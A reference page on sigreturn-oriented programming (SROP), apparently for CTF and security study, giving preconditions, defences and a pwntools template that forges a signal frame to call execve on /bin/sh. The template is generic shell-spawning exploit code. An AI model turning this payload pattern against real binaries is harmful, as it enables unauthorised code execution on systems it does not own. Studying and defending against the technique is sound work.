Sigreturn-orientated programming (SROP)

Sigreturn-orientated programming (SROP)

TL;DR: Forge a Linux ucontext/sigcontext on the stack and invoke sigreturn (syscall 15 on x86_64) — the kernel restores every general-purpose register from attacker-controlled memory in one gadget.

What it is

Published by Bosman & Bos (S&P 2014), SROP turns the kernel’s rt_sigreturn syscall — designed to restore process state at the end of a signal handler — into a one-shot universal gadget. Triggering sigreturn pops ~248 bytes (x86_64) off the stack into a struct sigcontext and the kernel reloads every register, including rip and rsp. With one gadget plus one stack-controlled frame, the attacker controls the full CPU state.

Preconditions / where it applies

  • Stack-write primitive large enough for a sigcontext (~248 B x86_64, ~112 B i386, similar on aarch64)
  • Ability to set rax to 15 (x86_64) and reach a syscall instruction — rt_sigreturn is system call 15
  • Targets static binaries / sandboxes where libc gadgets are scarce; common on CTF “no libc, syscalls only” challenges

Technique

Build a sigcontext using pwntools’ SigreturnFrame helper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch = 'amd64'

frame = SigreturnFrame()
frame.rax  = 59          # SYS_execve
frame.rdi  = bin_sh_addr # path
frame.rsi  = 0
frame.rdx  = 0
frame.rip  = syscall_gadget
frame.rsp  = stack_pivot

payload  = b'A'*offset
payload += p64(pop_rax) + p64(15)       # rax = SYS_rt_sigreturn
payload += p64(syscall_gadget)          # invoke sigreturn
payload += bytes(frame)                 # kernel restores state from here

Two SROP chains can implement a full read → execve without ever touching libc — first frame reads /bin/sh into .bss, second frame execs it. On modern kernels seccomp filters that allow rt_sigreturn (default for most apps) leave SROP fully usable; closing it requires an explicit deny.

Detection and defence

  • seccomp-bpf filter that denies rt_sigreturn outside legitimate signal-handler paths (rare in production; kernel paths through setcontext/swapcontext still depend on it)
  • CET shadow-stack does not help — sigreturn is a syscall, not a ret
  • Stack canaries unaffected once the overflow reaches the saved frame
  • Static binaries are inherent risk: ship as PIE + non-static, restrict syscalls via seccomp, and minimise gadgets via LTO/CFI

References

Related: ret2libc, ret2csu, format-string-bugs